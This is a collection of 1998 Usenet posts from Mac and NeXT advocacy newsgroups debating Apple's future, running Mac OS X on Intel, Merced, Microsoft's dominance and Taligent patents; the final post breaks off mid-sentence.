Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Date: 19 Jul 1998 20:10:16 GMT
Organization: University of Illinois at Chicago
Message-ID: <6otjr8$1dco$1@piglet.cc.uic.edu>
Joe Ragosta (joe.ragosta@dol.net) wrote:
: In article <35B19951.CFB0631F@cloud9.net>, Andrew Weiss
: <ajwdsp@cloud9.net> wrote:
: > Ted Brown wrote:
: > >
: > > to 98. If, during the Merced transition, Apple pops up with a credible
: > > 'Red Box' to run Win32s programs then OS XI becomes a viable
: > > alternative. If the plan is good enough, Intel will make the
: > > motherboards for Apple as well as supply chipsets to other vendors. I
: > > don't think Intel is all that enamored with MS, and wouldn't mind someone
: > > actually supporting and using their new technology.
: > >
: > > In the meantime either Carbon gets to be cross platform, or Apple needs a
: > > way to make Yellow more dominate, so it's easier to move users over to
: > > Merced, while still suporting the PPC customers.
: >
: > Gee OS Xxx on Merced. It's likely to happen, but Merced is not a
: > consumer machine, and from the beginning has not been targeted as such.
: > I don't see any transition of PPC customers to Merced. I see only PPC
: > --> better PPC. I do however see Intel ---> PPC/anything else...
: > however slight that may be... especially towards Alpha.
: Everything you've said is OK, except I disagree with "Merced is not a
: consumer machine". While you're correct that its first implementation will
: not be in consumer machines, it will be there eventually.
: When the 286 came out, lots of people were saying it was too much power
: for desktop machines and that it would only be used in servers.
: Ditto 386.
: Ditto 486.
: Ditto Pentium.
: The only question is, "how long after its introduction will Merced make
: its way into consumer machines". The answer, I suspect, will depend on
: AMD's success with the K7 and how quickly Intel needs to have a consumer
: machine to keep K7 from taking sales away.
: --
: Regards,
: Joe Ragosta
: See the Complete Macintosh Advocacy Page
: http://www.dol.net/~Ragosta/complmac.htm
Merced's success will depend on whether or not the processor is completely
backwards compatible with 32 bit x86 processors and the native 32 bit x86
OSes that ran on them. If it isn't, it will be a hard sell. In addition,
Merced based systems will have to be relatively cheap to build and
they will have to offer good native and x86 price/performance. Also
Merced or some future derivative must be usable in mobile systems.
If not it will be locked out of quickly growing segment of the
Windows market.
It will be an even harder sell if by the year 2000 Intel CPUs account for
only half of all x86 sales. That seems a likely prospect, with
at least three x86 cloners being in operation and the increased emphasis
on price driving business to them. Even without a huge marketshare
decrease, it likely that Intel's revenues will drop due to a lower ASP and
low x86 unit volume growth. I predict that by the time of the
introduction of Merced in 2000, Intel's revenues will drop from >$25
billion to somewhere in the range of $15-20 billion, and with that drop
they will lose most of the mindshare they have today among OEMs and Wall
Street investors and customers.
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sun, 19 Jul 1998 13:36:06 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1907981336060001@sf-pm5-7-71.dialup.slip.net>
References: <6odhav$6iu$1@server.signat.org> <6oe13t$hm7$1@news.digifix.com> <gmgraves-1407980916110001@sf-usr1-43-171.dialup.slip.net> <6oggrh$ed9$1@news.digifix.com> <gmgraves-1507981145460001@sf-usr1-30-158.dialup.slip.net> <6oj36m$bgq$1@news.digifix.com> <gmgraves-1607981329400001@sf-pm5-16-80.dialup.slip.net> <6olsfi$jeh$3@server.signat.org> <gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net> <6onmii$njn$1@server.signat.org> <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <6ooslo$scj@sjx-ixn4.ix.netcom.com> <gmgraves-1807981227580001@sf-usr1-32-160.dialup.slip.net> <MPG.101aea726a01d7449899b9@news.supernews.com>
In article <MPG.101aea726a01d7449899b9@news.supernews.com>,
don.brown@cesoft.com (Donald Brown) wrote:
> In article <gmgraves-1807981227580001@sf-usr1-32-160.dialup.slip.net>,
> gmgraves@slip.net says...
> > You have just expressed the VERY reason why Apple should be moving
> > to Intel architecture, and writing OS-X to run on that architecture
> > and run Windows apps as if they were Mac apps. If they have to 'borrow'
> > their innovation from the PC world, they may as well be part of the
> > PC world. I.E., if you can't buck 'em, join 'em. But such a strategy MUST
> > include MacOS on PC, or Apple is just another cloner.
> >
> OS-X might be able to run some Windows apps. But it won't run MS-Office.
> Microsoft will see to that. And if they can't run MS-Office, it will be
> an even bigger flop than the other Intel OSes that have tried to take on
> the Microsoft monopoly.
>
> Also, you're asking Apple to somehow completely reinvent itself as a
> software company, and I don't think they can. They'd somehow have to
> divest themselves of their hardware (because they couldn't keep both
> going at the same time) and I don't see how they could survive the
> transition.
>
> Won't work. Not a chance.
Maybe not. But it sure was a rosy thought.
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sun, 19 Jul 1998 13:39:57 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1907981339570001@sf-pm5-7-71.dialup.slip.net>
References: <6odhav$6iu$1@server.signat.org> <6oe13t$hm7$1@news.digifix.com> <gmgraves-1407980916110001@sf-usr1-43-171.dialup.slip.net> <6oggrh$ed9$1@news.digifix.com> <gmgraves-1507981145460001@sf-usr1-30-158.dialup.slip.net> <6oj36m$bgq$1@news.digifix.com> <gmgraves-1607981329400001@sf-pm5-16-80.dialup.slip.net> <6olsfi$jeh$3@server.signat.org> <gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net> <6onmii$njn$1@server.signat.org> <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <6ooslo$scj@sjx-ixn4.ix.netcom.com> <gmgraves-1807981227580001@sf-usr1-32-160.dialup.slip.net> <MPG.101aea726a01d7449899b9@news.supernews.com> <35B1986B.DD212245@cloud9.net> <MPG.101bb05d20abad6a9899bf@news.supernews.com>
In article <MPG.101bb05d20abad6a9899bf@news.supernews.com>,
don.brown@cesoft.com (Donald Brown) wrote:
> In article <35B1986B.DD212245@cloud9.net>, ajwdsp@cloud9.net says...
> > Donald Brown wrote:
> >
> > > OS-X might be able to run some Windows apps. But it won't run MS-Office.
> > > Microsoft will see to that. And if they can't run MS-Office, it will be
> > > an even bigger flop than the other Intel OSes that have tried to take on
> > > the Microsoft monopoly.
> >
> > I'm sure you're talking about OS-X Intel (hypothetically speaking).
> > There is no reason to believe that Office XX will not be out on OS X,
> > since Bill made the commitment to OS 8.1 with Office 98, and OS X does
> > 8.1, as well as will most likely do it's own native Office XX.
>
> People will have to do, at least, new binaries for OS-X Intel. If OS-X
> starts to become a direct competitor, there will not be an MS-Office for
> OS-X for Wintel. And, George was saying that OS-X Intel must be able to
> run Windows programs. Even if it can, Microsoft will make sure that MS
> Office for Windows will not.
If it runs them as if they were native, I don't see how MS could do that. and
I really don't see why they would. Gates has always said he makes more money
off of Office than he does off of his OS sales. Why would he cripple his biggest
moneymaker just to keep it from running on someone else's OS. Makes little
sense to me.
George Graves
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Sun, 19 Jul 1998 20:39:39 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6otlib$uqf$1@nnrp1.dejanews.com>
References: <6oj5a0$goe$1@hole.sdsu.edu> <35B08C8B.7E9A@REMOVE.wayne.edu> <19980718131133152609@pm2-2-03.aug.com> <35B16136.5FA1@REMOVE.wayne.edu> <900819436.724616@kelp.mbay.net> <35B16FA8.3913@REMOVE.wayne.edu>
In article <35B16FA8.3913@REMOVE.wayne.edu>,
Eric Iverson <eric_iverson@REMOVE.wayne.edu> wrote:
> And just because an OS does not have a killer app
> in it's early stages, does not mean it won't ever.
> The important thing is to have a good groundwork
> for a killer app. Mac OS had a good groundwork
> for the PageMaker, PostScript and LaserWriter combination.
> BeOS has a good groundwork for future killer media apps.
Do you really think that the difference between BeOS and, for example, NT is
as great as the difference between the MacOS and DOS? I can't think of any
application that you be much easier to write for BeOS than NT.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sun, 19 Jul 1998 13:58:42 -0700
Organization: Graves Associates
Distribution: world
Message-ID: <gmgraves-1907981358420001@sf-pm5-7-71.dialup.slip.net>
References: <gmgraves-1207981502300001@sf-usr1-36-164.dialup.slip.net> <6or25p$2hc$1@nnrp1.dejanews.com> <35B1100A.3842D7E8@nstar.net> <6ork92$qrm$1@camel29.mindspring.com>
In article <6ork92$qrm$1@camel29.mindspring.com>, Matthew Cromer
<matthew_cromer@iname.com> wrote:
> In article <gmgraves-1807981251350001@sf-usr1-32-160.dialup.slip.net>
> George Graves, gmgraves@slip.net writes:
> >
> >But that's not the question. The question is 'What are Apple's long term
> >prospects?" Not good from where I sit. How about you?
> >
> >George Graves
>
> The long-term prospects look pretty good to me.
>
> The G3 powerbooks are great, the G3 desktops are great, the iMacs are
> great, and with G4 and Altivec we look to have quantum leaps in
> performance around the bend.
OK, you tell me. Who is going to buy these things? The Mac faithful (who,
by Job's own admission, are leaving the platform at a rate of 10%/year)?
There are only about 25 million 'Mac faithful", and with a goodly number
of them defecting every year, that represents a shrinking market share
no matter how one looks at it.
Where is the growth to come from? Fence sitters? They will go Wintel
because its what their friends have, they will beleive the "no software"
myth that everyone outside of the Mac community propagates (and which
is slowly coming to pass). They will buy on price. Pundits say that by
Christmas, a brand name PC, with monitor, will be available for less than
$800. iMac costs $1300. Add a 'floppy', and tha price becomes $1500. Job's
has moved to make sure that Mac prices are the same everywhere as they
are at Apple's online store by revoking the franchises of those dealers who
discount. So "street price" for the iMac and MSRP will be the same. People
will buy the $800 Compaq. PB, Gateway or Dell.
>
> Jobs has fixed the MacOS with MacOS X, making it better than NT in most
> respects.
Yes it will be better than NT. But that's irrelevant when it will run on fewer
and fewer machines with each passing year.
Can't you see it man? Apple looks healthy NOW, on paper, but its market in
every nich is being slowly and surely eaten away by Windows/NT. I'm not
worried about today. Or even tomorrow. Its the day after that I worry about.
Apple must grow the Mac market or risk there being no Mac at all.
George Graves
>
> Matthew Cromer
From: "Josiah Fizer" <mib@klassy.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <gmgraves-1607981316130001@sf-pm5-16-80.dialup.slip.net> <35AE858A.2576@betabreakers.com> <stevehix-1607982030060001@ip30.safemail.com> <Pine.BOS.3.96.980717065604.278E-100000@fbnp> <gmgraves-1707981124460001@sf-pm5-10-74.dialup.slip.net> <35AFAEFF.2FBD@betabreakers.com> <gmgraves-1807981320300001@sf-usr1-32-160.dialup.slip.net>
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Sat, 18 Jul 1998 12:41:13 -0700
Message-ID: <35b25f19.0@blushng.jps.net>
George Graves wrote in message ...
>In article <35AFAEFF.2FBD@betabreakers.com>, Josiah Fizer
><jfizer@betabreakers.com> wrote:
>
>> George Graves wrote:
>> >
>> > In article <Pine.BOS.3.96.980717065604.278E-100000@fbnp>, Tyler Riti
>> > <fizzboy@mail.utexas.edu> wrote:
>> >
>> > > On Thu, 16 Jul 1998, Steve Hix wrote:
>> > >
>> > > >> > No, a GUI has failed when it has no MAJOR applications. Be
>still has no
>> > > >> > support from the major players.
>> > > >
>> > > >> So Sun, SGi and HP have all "failed" cause they dont have suport
>from MS
>> > > >> or other people that rigth the crap we all have to use at our
office?
>> > > >
>> > > >Sun and HP *are* "major players".
>> > >
>> > > Be has support from Intel. Is that major enough for you?
>> >
>> > Intel writes applications? Gee, I didn't know that!
>> >
>> > L-E-A-R-N T-O R-E-A-D
>> >
>> > George Graves
>>
>> Yea and I use my Sun apps all the time.. Oh wait, they only have an OS
>> and development tools.
>
>I never said that or even intimated it. In fact I didn't bring up Sun
>in this discusion AT ALL. Someone else did.
>
>George Graves
My point being, why do we the Be users need all the bloated apps from the
Windows platform to make our OS a "real" OS? I would just as soon not see
Photoshop and Word ported. However Star Office and the Gimp would be very
nice.
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sun, 19 Jul 1998 14:03:53 -0700
Organization: Graves Associates
Distribution: world
Message-ID: <gmgraves-1907981403530001@sf-pm5-7-71.dialup.slip.net>
References: <gmgraves-1207981502300001@sf-usr1-36-164.dialup.slip.net> <6or25p$2hc$1@nnrp1.dejanews.com> <35B1100A.3842D7E8@nstar.net> <6orjq8$vgv$1@camel29.mindspring.com>
In article <6orjq8$vgv$1@camel29.mindspring.com>, Matthew Cromer
<matthew_cromer@iname.com> wrote:
> In article <gmgraves-1807981227580001@sf-usr1-32-160.dialup.slip.net>
> George Graves, gmgraves@slip.net writes:
> >You have just expressed the VERY reason why Apple should be moving
> >to Intel architecture, and writing OS-X to run on that architecture
> >and run Windows apps as if they were Mac apps. If they have to 'borrow'
> >their innovation from the PC world, they may as well be part of the
> >PC world. I.E., if you can't buck 'em, join 'em. But such a strategy MUST
> >include MacOS on PC, or Apple is just another cloner.
>
> Moving Apple to Intel means that Apple loses the superior PowerPC
> processor and becomes just another Intel Cloner.
>
> Bad move, IMO. This is a bad time to be a PC cloner anyway, nobody seems
> to be making much money at it.
>
> >>
> >> At the very least, this way Apple gets to keep up with the PC
> >> market. If they try to go proprietary, there's a huge risk
> >> of falling behind if the PC market takes an unexpected turn.
> >
> >They will fall behind anyway because by using the incompatible
> >PPC chip, Apple is on the outside of the mainstream computer
> >biz looking in.
>
> The mainstream boxmakers are not doing well lately.
>
> Apple's difference is its only advantage.
Apple's "difference" keeps it a niche player in an ever shrinking niche.
>
>
> Heck, even SGI has seen the light and will be
> >building X86 boxes.
>
> And a stupid business plan that is, IMHO.
>
> The difference is that SGI has never had a
> >dynamite OS, so they are going to be running NT on their Intel
> >Boxes.
>
> Wow, there's a fresh idea, windows and intel boxes. Why the hell do we
> need another wintel clone maker?
>
> Apple does have a VIABLE alternative OS to Windoze, and
> >if they can write OS-X to run on Intel and to run Windows apps
> >natively and full-featured, they will be real WINNERS (and so
> >will everybody else).
>
>
>
> First of all, Windows apps run best on Windows. If MacOS X can run them,
> then it will not get native apps, and be stuck with running windows apps
> poorly.
No, it MUST run them well, and there is no reason why it can't. Just
saying that Windows apps run best on Windows doe not mean that
sometime in the future, someone else couldn't write a BETTER OS
for Intel that would run Windows apps better than Windows can
run them.
>
> Second, Apple is a hardware company, one that is very profitable at
> making G3 boxes.
Which they will sell less of each year as they have sold fewer Macs each
year for a number of years.
George Graves
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sun, 19 Jul 1998 21:02:43 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6otmti$g4$1@nnrp1.dejanews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <Josh.McKee-1707981733170001@pm3a19.rmac.net> <Josh.McKee-1807981007290001@pm3a21.rmac.net> <6oqjko$qqs$1@camel19.mindspring.com>
In article <6oqjko$qqs$1@camel19.mindspring.com>,
Matthew Cromer <matthew_cromer@iname.com> wrote:
> That OS was canned, it was called Copland, was due in 1996, and it didn't
> work out.
As customer, I would rather have a "next generation" operating system rather
than excuses as to why I can't have one. Especially since they said that I
would have one.
> They tried to deliver Copland and failed.
As customer, I would rather have a "next generation operating system" rather
than excuses as to why I can't have one. Especially since they said that I
would have one.
> Previous Apple management failed to deliver Copland, due to incompetence.
As customer, I would rather have a "next generation operating system" rather
than excuses as to why I can't have one. Especially since they said that I
would have one.
> Then when Microsoft promises ship dates and misses them by years they are
> also lying.
Microsoft's lies don't concern me. And, BTW, I haven't complained that I
should have had my "next generation" operating system for over a year because
I believe that Apple never gave a firm date. I expect that Microsoft is the
same but it doesn't really matter to me.
> As far as I know, this was an Amelio promise, not a Jobsian one.
As customer, I would rather have a "next generation operating system" rather
than excuses as to why I can't have one. Especially since they said that I
would have one.
> Well, I think Apple should deliver Rhapsody to all Powermacs, at least
> all PCI-based ones, but I don't think it is fair to lay the mistakes of
> previous management teams on Jobs feet.
As customer, I would rather have a "next generation operating system" rather
than excuses as to why I can't have one. Especially since they said that I
would have one.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: mcgrane@NOSPAMhome.com (Paul McGrane)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <mcgrane-1907981742370001@cc962257-a.vron1.nj.home.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <6ol3nq$14g$1@vixen.cso.uiuc.edu> <6ollab$qo3$1@news01.deltanet.com> <id_est-1607982104080001@192.168.1.3> <6oo3dp$i49$4@news01.deltanet.com> <id_est-1907981236320001@192.168.1.3>
Date: Sun, 19 Jul 1998 21:42:19 GMT
NNTP-Posting-Date: Sun, 19 Jul 1998 14:42:19 PDT
Organization: @Home Network
In article <id_est-1907981236320001@192.168.1.3>, id_est@interport.net
(tse_di) wrote:
> Although the 7500/7600/8500/8600/9500/9600 are all based on the same
> motherboard there are a surprising number of variations in the actual
> hardware used on those boxes. (think of the video, video in/out and SCSI
> systems in particular. The G3 destops, laptops and and iMacs all use
> identical components (in each class, obviously). It is a lot easier to
> support these machines. The question is what "support" means? Does it mean
> just boot up or does it mean all hardware features work well?
Those machines are not all based on the same motherboard. That list you
gave includes 3 major boards, the Tsunami having a variant to support
inline cacheing.
To support these machines means guaranteeing that the OS will work, in
theory, on those machines without a hitch. Even if Apple doesn't guarantee
it, OS X may still run well enough.
Anyway, if *any* non-G3 systems are to be supported by Mac OS X, these are
the ones due to their open firmware ROMs and such. Still, even having a
7500 myself, I don't feel it's unreasonable for Apple to exclude them from
OS X. Worse things have happened and will happen again.
Surely it's at least half a marketing decision, but we've long since
proven that the
wishy-washy-make-everyone-happy-and-don't-accomplish-anything Apple was a
abysmal failure. The new Apple has to be different to survive.
--
...Paul McGrane
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Sun, 19 Jul 1998 20:44:37 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6otlrl$usq$1@nnrp1.dejanews.com>
References: <6or4sj$83a$1@supernews.com> <6ormvh$56j$1@nnrp1.dejanews.com> <6ot13s$m32$1@supernews.com>
In article <6ot13s$m32$1@supernews.com>,
a l t e n ber@nashville.com (delete spaces, spam trick) wrote:
> The problem is, even though I can switch to another application, the FTP's
> dialog box is still sticking in front of it. But if you just wait long
> enough, it finally responds. Patience is the Windows user's best friend.
This is a kludge but it works: click the "Show Desktop" icon (install it in
the Start menu for convenience) and then select the application that you want
to use from the task bar.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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Date: Sun, 19 Jul 1998 19:04:21 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Distribution: world
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-1907981904210001@elk34.dol.net>
References: <gmgraves-1207981502300001@sf-usr1-36-164.dialup.slip.net> <6or25p$2hc$1@nnrp1.dejanews.com> <35B1100A.3842D7E8@nstar.net> <6orjq8$vgv$1@camel29.mindspring.com> <gmgraves-1907981403530001@sf-pm5-7-71.dialup.slip.net>
In article <gmgraves-1907981403530001@sf-pm5-7-71.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> In article <6orjq8$vgv$1@camel29.mindspring.com>, Matthew Cromer
> <matthew_cromer@iname.com> wrote:
>
> > The mainstream boxmakers are not doing well lately.
> >
> > Apple's difference is its only advantage.
>
> Apple's "difference" keeps it a niche player in an ever shrinking niche.
Not recently. Apple's market share is increasing.
Furthermore, there's nothing wrong with a niche strategy. Given the choice
between a Mac with its current advantages and a computer "like everyone
else uses", I'll take the Mac.
> > First of all, Windows apps run best on Windows. If MacOS X can run them,
> > then it will not get native apps, and be stuck with running windows apps
> > poorly.
>
> No, it MUST run them well, and there is no reason why it can't. Just
> saying that Windows apps run best on Windows doe not mean that
> sometime in the future, someone else couldn't write a BETTER OS
> for Intel that would run Windows apps better than Windows can
> run them.
You're missing the point. MS has demonstrated the ability and willingness
to enforce their wishes on the computing world. Even if Apple could write
Rhapsody with a Red Box so that Windows apps ran better than they do on
Windows, MS would change the code. Can you say "DR-DOS"?
> >
> > Second, Apple is a hardware company, one that is very profitable at
> > making G3 boxes.
>
> Which they will sell less of each year as they have sold fewer Macs each
> year for a number of years.
And roughly the same number for each of the past 6 quarters.
But I don't measure the quality of the computer platform by the number of
people who buy them.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Sun, 19 Jul 1998 19:05:36 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-1907981905370001@elk34.dol.net>
References: <6odhav$6iu$1@server.signat.org> <6oe13t$hm7$1@news.digifix.com> <gmgraves-1407980916110001@sf-usr1-43-171.dialup.slip.net> <6oggrh$ed9$1@news.digifix.com> <gmgraves-1507981145460001@sf-usr1-30-158.dialup.slip.net> <6oj36m$bgq$1@news.digifix.com> <gmgraves-1607981329400001@sf-pm5-16-80.dialup.slip.net> <6olsfi$jeh$3@server.signat.org> <gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net> <6onmii$njn$1@server.signat.org> <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <6ooslo$scj@sjx-ixn4.ix.netcom.com> <gmgraves-1807981227580001@sf-usr1-32-160.dialup.slip.net> <MPG.101aea726a01d7449899b9@news.supernews.com> <35B1986B.DD212245@cloud9.net> <MPG.101bb05d20abad6a9899bf@news.supernews.com> <gmgraves-1907981339570001@sf-pm5-7-71.dialup.slip.net>
In article <gmgraves-1907981339570001@sf-pm5-7-71.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> In article <MPG.101bb05d20abad6a9899bf@news.supernews.com>,
> don.brown@cesoft.com (Donald Brown) wrote:
>
> > In article <35B1986B.DD212245@cloud9.net>, ajwdsp@cloud9.net says...
> > > Donald Brown wrote:
> > >
> > > > OS-X might be able to run some Windows apps. But it won't run
MS-Office.
> > > > Microsoft will see to that. And if they can't run MS-Office, it will be
> > > > an even bigger flop than the other Intel OSes that have tried to take on
> > > > the Microsoft monopoly.
> > >
> > > I'm sure you're talking about OS-X Intel (hypothetically speaking).
> > > There is no reason to believe that Office XX will not be out on OS X,
> > > since Bill made the commitment to OS 8.1 with Office 98, and OS X does
> > > 8.1, as well as will most likely do it's own native Office XX.
> >
> > People will have to do, at least, new binaries for OS-X Intel. If OS-X
> > starts to become a direct competitor, there will not be an MS-Office for
> > OS-X for Wintel. And, George was saying that OS-X Intel must be able to
> > run Windows programs. Even if it can, Microsoft will make sure that MS
> > Office for Windows will not.
>
> If it runs them as if they were native, I don't see how MS could do that. and
> I really don't see why they would.
Control. Pure and simple.
He did it once with DR-DOS. He did it with 123. He's not going to let
someone else usurp his OS monopoly without a fight.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: XEarth and Earth via Backspace/Linux hate-mail
Date: 20 Jul 1998 15:34:43 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6r6osj.9fc.sal@panix3.panix.com>
References: <6om5j5$b81$1@news.ncal.verio.com>
On 17 Jul 1998 00:24:05 GMT, Thomas <thomas@hype.mycal.net> wrote:
>Did you ever notice how much better the Earth module for Backspace looks
>than the Linux XEarth screensaver?
Yes.
>I have Linux and Openstep/Rhap on my desk and am amazed- some folks had
>convinced me that Linux was a useful environment, but other than the router
>functions it has for TCP/IP it seems pretty darn crude and generally useless.
Rhapsody (DR2) has a much nicer UI than anything I've seen on X. This is
where Rhapsody shines.
>It doesn't even seem much if any faster than DR2 is.
Are you comparing X11 to Rhapsody? In that case, it isn't a fair comparison
unless you are using accelerated drivers on both systems. I find that MetroX
running on my Matrox card is a little faster then the XFree86 server. YMMV.
I find Linux to be faster then Rhapsody in most IO comparison. Disk IO
under Linux is very fast. YMMV.
--
sal@panix.com
Salvatore Denaro
From: no.one@home.com (Damaged Goods esq)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X GUI---3 clicks to any window?
Date: Sun, 19 Jul 1998 19:13:04 -0400
Organization: None
Message-ID: <6otue2$298@bgtnsc02.worldnet.att.net>
References: <6or1kb$i6p@newsb.netnews.att.com> <edremy-ya02408000R1807982047240001@nnrp.usc.edu> <WadeMasshardt-1907981335050001@192.168.0.2>
In article <WadeMasshardt-1907981335050001@192.168.0.2>,
WadeMasshardt@badger.alumni.wisc.edu (Wade Masshardt) wrote:
> In article <edremy-ya02408000R1807982047240001@nnrp.usc.edu>,
> edremy@chem1.usc.edu (Eric Remy) wrote:
>
> >ApplWindows. Why Apple didn't bundle this into the OS years ago baffles
> >me- it gives you both a popup menu of applications anywhere on the screen,
> >plus a submenu listing all the open windows in the app. Essential in my
> >opinion, since I often have a dozen telnet windows open at a time.
>
> What is the latest version? The only one I could find was from 1993 (!)
As its still 68k thats probably the latest version. On my PB5300 removing
it led to a noticable speed up. Still it is a very nice utility - some of
its functionality is in FinderPop which requires OS8 and a ppc.
From: "Ron Pomeroy" <rjpomeroy@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple houses licensing company for Taligent patents?
Date: Sat, 18 Jul 1998 15:46:18 -0700
Organization: self
Message-ID: <6ott0v$apk$1@ash.prod.itd.earthlink.net>
References: <uEjs1.692$E5.5085028@proxye1.san.rr.com>
<6otg65$25pc$1@piglet.cc.uic.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
In article <6otg65$25pc$1@piglet.cc.uic.edu> , amaliy1@uic.edu (Anil T
Maliyekke) wrote:
>Ed Deans. (eadeans@san.rr.com) wrote:
>: All this talk about "People, Places and Things" prompted me to look around
>: and see what I could find.
>
>: <http://www.otlc.com/patents/page1.htm>
>
>: Object Technologies Licensing Corporation's contact address is as follows:
>
>: One Infinite Loop
>: Mail Stop 38-OTL
>: Cupertino, California 95014.
>
>: A quick domain name lookup reveals they're physically on N. DeAnza Blvd
>: nearby (same zip code--unknown if this is an Apple facility or what). The
>: admin. has an AOL address.
>
>: At first blush this is bizarre. I would have thought IBM would have taken
>: over the Taligent patent portfolio when Taligent because a wholly-owned
>: subsidiary and then was absorbed completely into IBM. Apparently not.
>
>: Anyone interested in the stuff done at Taligent to be able to compare it to
>: OPENSTEP (a comparison I'd *really* like to see, btw) should see the above
>: web site. It seems to have links to the full patents on the IBM patent
>: server.
>
>: It would seem these patents it still fairly easily available for Apple to
>: (license?) use in Mac OS X if it chose to.
>
>: --Ed.
>
>Perhaps they were concerned about Microsoft gaining access to these
>patents throught the cross licensing agreement with IBM, so they
>transferred ownership to this company before IBM subsumed Taligent
>and its programmers. I think Apple (and HP?) probably would have access
>to the patents regardless of this companies existance.
>
>Anil
>
If memory serves, Taligent sought to create an operating system to host
their various OO frameworks. I read through a sampling of of the patent
documents. It appears Taligent patented most of results of their efforts to
create completely object oriented OS and Application environment. Their are
numerous classes that pertain to internal OS functionality and the like.
Compared to OPENSTEP...the scope and depth of the functionality covered by
their frameworks is both broader and deeper. I would qualify my statements
as being "in theory" since they never delivered (to my knowledge) a complete
working system. That's not to say it wasn't valuable work - to the contrary
- I find some of the patents really interesting.
From a practical perspective - I think a key difference is that OPENSTEP
(and it's derivatives) continue to be developed by Apple.
The Taligent effort was quite ambitious. And though Taligent (the company)
never delivered products to the market, I think there is much to be learned
from their work (business mistakes, technical mistakes, technical
successes).
But that's just my opinion - I could be wrong.
Ronald Pomeroy
rjpomeroy@earthlink.net
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 20 Jul 1998 17:37:13 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6ovv89$sgu@newsb.netnews.att.com>
References: <gmgraves-1207981502300001@sf-usr1-36-164.dialup.slip.net> <35B1100A.3842D7E8@nstar.net> <6ork92$qrm$1@camel29.mindspring.com> <gmgraves-1907981358420001@sf-pm5-7-71.dialup.slip.net>
Originator: gupta@tlctest
George Graves <gmgraves@slip.net> wrote:
>OK, you tell me. Who is going to buy these things? The Mac faithful (who,
>by Job's own admission, are leaving the platform at a rate of 10%/year)?
>There are only about 25 million 'Mac faithful", and with a goodly number
>of them defecting every year, that represents a shrinking market share
>no matter how one looks at it.
If Apple can't build a "must-have" product, Apple should die.
I don't think being a me-too PC-maker has much value or is much fun.
If Apple can profitably make Intel machines not encumbered by legacy
